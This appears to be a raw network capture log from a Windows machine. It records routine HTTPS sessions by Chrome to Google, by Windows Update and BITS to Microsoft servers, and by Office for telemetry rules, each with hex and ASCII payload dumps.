2024-11-30 21:52:38 UTC	1018	IN	HTTP/1.1 200 OK Version: 700238841 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Sat, 30 Nov 2024 21:52:38 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-30 21:52:38 UTC	372	IN	Data Raw: 31 32 30 65 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 120e)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-30 21:52:38 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-11-30 21:52:38 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2024-11-30 21:52:38 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2024-11-30 21:52:38 UTC	88	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 0d 0a Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2
2024-11-30 21:52:38 UTC	787	IN	Data Raw: 33 30 63 0d 0a 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 70 61 74 68 5c 75 30 30 33 65 5c 75 30 30 33 63 69 6d 61 67 65 20 73 72 63 5c Data Ascii: 30c-0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2z\"\u003e\u003c\/path\u003e\u003cimage src\
2024-11-30 21:52:38 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 43 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 61 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 34 64 20 67 62 5f 44 63 20 67 62 5f 37 64 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 47 6f 6f 67 6c 65 5c 22 20 68 72 65 66 5c 75 30 30 33 64 5c 22 2f 3f 74 61 62 5c 75 30 30 33 64 72 72 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4e 64 20 67 62 5f 36 64 5c 22 20 61 72 69 61 2d 68 69 64 64 65 6e 5c 75 30 30 33 64 5c 22 74 72 75 65 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 70 72 65 73 65 6e 74 61 74 69 6f 6e 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 61 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 Data Ascii: 8000Cc\"\u003e\u003ca class\u003d\"gb_4d gb_Dc gb_7d\" aria-label\u003d\"Google\" href\u003d\"/?tab\u003drr\"\u003e\u003cspan class\u003d\"gb_Nd gb_6d\" aria-hidden\u003d\"true\" role\u003d\"presentation\"\u003e\u003c\/span\u003e\u003c\/a\u003e\u003c\/d
2024-11-30 21:52:38 UTC	1390	IN	Data Raw: 5c 22 5c 75 30 30 32 36 5c 75 30 30 32 36 74 79 70 65 6f 66 20 41 73 79 6e 63 43 6f 6e 74 65 78 74 2e 53 6e 61 70 73 68 6f 74 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 66 75 6e 63 74 69 6f 6e 5c 22 3f 61 5c 75 30 30 33 64 5c 75 30 30 33 65 61 5c 75 30 30 32 36 5c 75 30 30 32 36 41 73 79 6e 63 43 6f 6e 74 65 78 74 2e 53 6e 61 70 73 68 6f 74 2e 77 72 61 70 28 61 29 3a 61 5c 75 30 30 33 64 5c 75 30 30 33 65 61 3b 5c 6e 7d 63 61 74 63 68 28 65 29 7b 5f 2e 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 28 65 29 7d 5c 6e 74 72 79 7b 5c 6e 76 61 72 20 44 64 3b 44 64 5c 75 30 30 33 64 63 6c 61 73 73 20 65 78 74 65 6e 64 73 20 5f 2e 6e 64 7b 7d 3b 5f 2e 45 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 62 20 69 6e 20 61 2e 69 Data Ascii: \"\u0026\u0026typeof AsyncContext.Snapshot\u003d\u003d\u003d\"function\"?a\u003d\u003ea\u0026\u0026AsyncContext.Snapshot.wrap(a):a\u003d\u003ea;\n}catch(e){_._DumpException(e)}\ntry{\nvar Dd;Dd\u003dclass extends _.nd{};_.Ed\u003dfunction(a,b){if(b in a.i
2024-11-30 21:52:38 UTC	1390	IN	Data Raw: 69 66 28 21 61 29 72 65 74 75 72 6e 3b 61 5c 75 30 30 33 64 2b 61 7d 69 66 28 74 79 70 65 6f 66 20 61 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6e 75 6d 62 65 72 5c 22 29 72 65 74 75 72 6e 20 4e 75 6d 62 65 72 2e 69 73 46 69 6e 69 74 65 28 61 29 3f 61 7c 30 3a 76 6f 69 64 20 30 7d 3b 53 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 29 7b 6c 65 74 20 61 5c 75 30 30 33 64 6e 75 6c 6c 3b 69 66 28 21 52 64 29 72 65 74 75 72 6e 20 61 3b 74 72 79 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 63 5c 75 30 30 33 64 5c 75 30 30 33 65 63 3b 61 5c 75 30 30 33 64 52 64 2e 63 72 65 61 74 65 50 6f 6c 69 63 79 28 5c 22 6f 67 62 2d 71 74 6d 23 68 74 6d 6c 5c 22 2c 7b 63 72 65 61 74 65 48 54 4d 4c 3a 62 2c 63 72 65 61 74 65 53 63 72 69 70 74 3a 62 2c 63 72 Data Ascii: if(!a)return;a\u003d+a}if(typeof a\u003d\u003d\u003d\"number\")return Number.isFinite(a)?a\|0:void 0};Sd\u003dfunction(){let a\u003dnull;if(!Rd)return a;try{const b\u003dc\u003d\u003ec;a\u003dRd.createPolicy(\"ogb-qtm#html\",{createHTML:b,createScript:b,cr
2024-11-30 21:52:38 UTC	1390	IN	Data Raw: 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 61 2e 6c 61 73 74 49 6e 64 65 78 4f 66 28 62 2c 30 29 5c 75 30 30 33 64 5c 75 30 30 33 64 30 7d 3b 52 64 5c 75 30 30 33 64 5f 2e 4a 64 3b 5f 2e 56 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 2b 5c 22 5c 22 7d 7d 3b 59 64 5c 75 30 30 33 64 2f 5e 5c 5c 73 2a 28 3f 21 6a 61 76 61 73 63 72 69 70 74 3a 29 28 3f 3a 5b 5c 5c 77 2b 2e 2d 5d 2b 3a 7c 5b 5e 3a 2f 3f 23 5d 2a 28 3f 3a 5b 2f 3f 23 5d 7c 24 29 29 2f 69 3b 76 61 72 20 6c 65 2c 70 65 2c 68 65 3b 5f 2e 6a 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 6e 65 77 20 68 Data Ascii: tion(a,b){return a.lastIndexOf(b,0)\u003d\u003d0};Rd\u003d_.Jd;_.Vd\u003dclass{constructor(a){this.i\u003da}toString(){return this.i+\"\"}};Yd\u003d/^\\s(?!javascript:)(?:[\\w+.-]+:\|[^:/?#](?:[/?#]\|$))/i;var le,pe,he;_.je\u003dfunction(a){return a?new h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.9	49710	172.217.21.36	443	6608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:52:38 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-30 21:52:38 UTC	933	IN	HTTP/1.1 200 OK Version: 700238841 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Sat, 30 Nov 2024 21:52:38 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-30 21:52:38 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-30 21:52:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.9	49723	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:52:42 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-30 21:52:42 UTC	479	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Server: Kestrel ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-OSID: 2 X-CID: 2 X-CCC: GB Cache-Control: public, max-age=250438 Date: Sat, 30 Nov 2024 21:52:42 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.9	49716	172.202.163.200	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:52:42 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=WwsLk6UUdc3t+Gl&MD=vpvknbAp HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-30 21:52:42 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 53d272eb-e04f-4177-8594-430f3ee8dcff MS-RequestId: 90f33cea-15a4-4032-b8c0-84c5cd1b7116 MS-CV: bEo4hiGgZEm5obxj.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sat, 30 Nov 2024 21:52:41 GMT Connection: close Content-Length: 24490
2024-11-30 21:52:42 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-30 21:52:42 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.9	49731	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:52:44 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-30 21:52:44 UTC	534	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=77002 Date: Sat, 30 Nov 2024 21:52:44 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-30 21:52:44 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.9	49743	172.202.163.200	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:53:24 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=WwsLk6UUdc3t+Gl&MD=vpvknbAp HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-30 21:53:24 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 158001ad-bfef-40a2-a3a7-91d211ad4fef MS-RequestId: 9f7c4da3-b8c9-45cc-a825-09259bd7386c MS-CV: 2YqqHNLkOE+NctJI.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sat, 30 Nov 2024 21:53:23 GMT Connection: close Content-Length: 30005
2024-11-30 21:53:24 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-11-30 21:53:24 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.9	49744	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:53:37 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:53:38 UTC	471	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:53:37 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Wed, 27 Nov 2024 15:11:14 GMT ETag: "0x8DD0EF5BC53602D" x-ms-request-id: a5a19dc6-401e-008c-1dff-4086c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215337Z-174f7845968n2hr8hC1EWR9cag00000011r00000000048cz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
